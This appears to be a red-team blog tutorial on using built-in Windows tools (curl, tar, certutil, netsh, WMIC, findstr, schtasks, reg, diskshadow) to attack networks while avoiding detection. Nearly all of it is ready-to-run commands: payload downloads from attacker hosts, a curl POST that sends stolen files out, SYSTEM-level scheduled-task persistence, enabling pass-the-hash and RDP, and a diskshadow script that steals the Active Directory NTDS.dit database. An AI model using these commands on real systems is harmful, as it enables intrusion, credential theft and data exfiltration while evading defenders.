As a Red Team member, your effectiveness is often defined by your ability to “Live off the Land” (LotL). Relying on custom binaries and noisy C2 agents is a quick way to get caught by modern EDRs. Instead, you must master the built-in command-line tools that administrators use every day.

In this article, we’ll explore the most potent CLI tools for advanced Windows operations. We will look at the classics (certutil, netsh) but also the “New School” tools (curl, tar) that Microsoft has quietly added to Windows 10/11, and the sneaky power of diskshadow.

1. The New School: Curl and Tar

Since Windows 10 build 1803, Microsoft includes native versions of curl.exe and tar.exe. This is a game-changer for red teamers who previously had to rely on clumsy PowerShell scripts for web requests or zip compression.

Curl: The Native Downloader/Uploader

Unlike certutil, which is heavily monitored, curl is often less scrutinized because developers and admins use it constantly for API testing.

1
2
3
4
5

:: Download a payload
curl.exe -o C:\Windows\Temp\update.exe http://10.10.10.5/beacon.exe

:: Exfiltrate data via POST (Stealthy!)
curl.exe -X POST -d @C:\Windows\Temp\loot.txt http://10.10.10.5/api/log_upload

Tar: Archive and Compress

Stop trying to write PowerShell scripts to zip files.

1
2
3

:: Create a compressed archive of the Users folder
:: excluding AppData usually helps size and prevents lock errors
tar.exe -cvf C:\Windows\Temp\logs.zip C:\Users\CEO\Documents

2. Certutil: The Ultimate (but Noisy) LOLBIN

certutil.exe is intended for managing certificates, but for a red teamer, it’s a high-speed downloader and encoder.

[!WARNING] certutil -urlcache -f is one of the most well-known signatures in EDR history. Use it only if you know the EDR is disabled or blind.

Downloading a Remote Payload

1

certutil.exe -urlcache -split -f http://attacker.com/shell.exe C:\Windows\Temp\shell.exe

Encoding/Decoding Base64

This is excellent for dropping a payload as a text file (to bypass email filters or file transfer blocks) and then reconstructing it on disk.

1
2
3
4
5

:: Attacker side
certutil.exe -encode payload.exe payload.txt

:: Victim side
certutil.exe -decode payload.txt payload.exe

3. Netsh: The Network Scalpel

netsh allows you to manipulate the host’s networking stack. This is vital for pivoting without external tools.

Port Forwarding (Pivoting)

Forward traffic from the pivot box (port 4455) to a target domain controller (port 445).

1

netsh interface portproxy add v4tov4 listenport=4455 listenaddress=0.0.0.0 connectport=445 connectaddress=10.0.0.5

Firewall Rules (Opening the Gates)

1

netsh advfirewall firewall add rule name="OpenPort" dir=in action=allow protocol=TCP localport=4455

4. WMIC: The Legacy Powerhouse

Even though Microsoft is deprecating WMIC in favor of PowerShell CIM cmdlets (and removing it from default installs in newer Win11 builds), it remains robust on almost all Servers (2016/2019/2022).

Process Creation (Lateral Movement)

1

wmic /node:"10.0.0.5" process call create "cmd.exe /c whoami > C:\temp\out.txt"

Removing Software (Anti-Forensics / Cleanup)

1

wmic product where name="VulnerableApp" call uninstall

5. Findstr: The Grep of Windows

Searching for passwords in config files? findstr is your friend.

1
2

:: Recursive search for sensitive terms in text/config files
findstr /S /I /M "password secret key" *.xml *.config *.txt *.ini
  • /S: Recursive (subdirectories).
  • /I: Case insensitive.
  • /M: Print only the filename (cleaner output).

6. Schtasks: Persistence via Scheduling

Scheduled tasks are a favorite for persistence because they can run with high privileges (SYSTEM) and survive reboots.

Creating a Periodic Task

1

schtasks /create /tn "Microsoft\Windows\Recovery\CleanUp" /tr "C:\Windows\Temp\update.exe" /sc minute /mo 30 /ru "SYSTEM"

Hiding Tasks

A common trick is to query the index of the task and delete the Security Descriptor (SD) in the registry to make it invisible to schtasks /query. (This is an advanced technique requiring Registry manipulation).

7. Reg: Direct Registry Manipulation

When you can’t use PowerShell, the reg command is your friend.

Enabling RDP

1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

(Don’t forget to open the firewall with netsh!)

Disabling Restricted Admin (Turn ON PtH)

1

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

8. Diskshadow: The Stealthy VSS Exploit

vssadmin is noisy (Event ID 216 is flagged by most SIEMs). diskshadow.exe allows you to script Volume Shadow Copies to steal NTDS.dit (Active Directory Database) stealthily.

  1. Create a script shadow.txt:
    1
2
3
4
5
6
7

    set context persistent nowriters
add volume c: alias shadow_c
create
expose %shadow_c% z:
exec "cmd.exe /c copy z:\windows\ntds\ntds.dit c:\windows\temp\ntds.dit"
delete shadows volume %shadow_c%
reset
  2. Run it:
    1

    diskshadow.exe /s shadow.txt

Conclusion

Mastering the Windows CLI isn’t about memorizing flags; it’s about understanding the underlying system capabilities. By using curl for transfers, diskshadow for data theft, and findstr for hunting secrets, you operate using the system’s own logic. This “Living off the Land” approach is the hallmark of a professional red teamer.

Stay sharp, stay quiet, and keep your footprint small.

Happy hunting!

References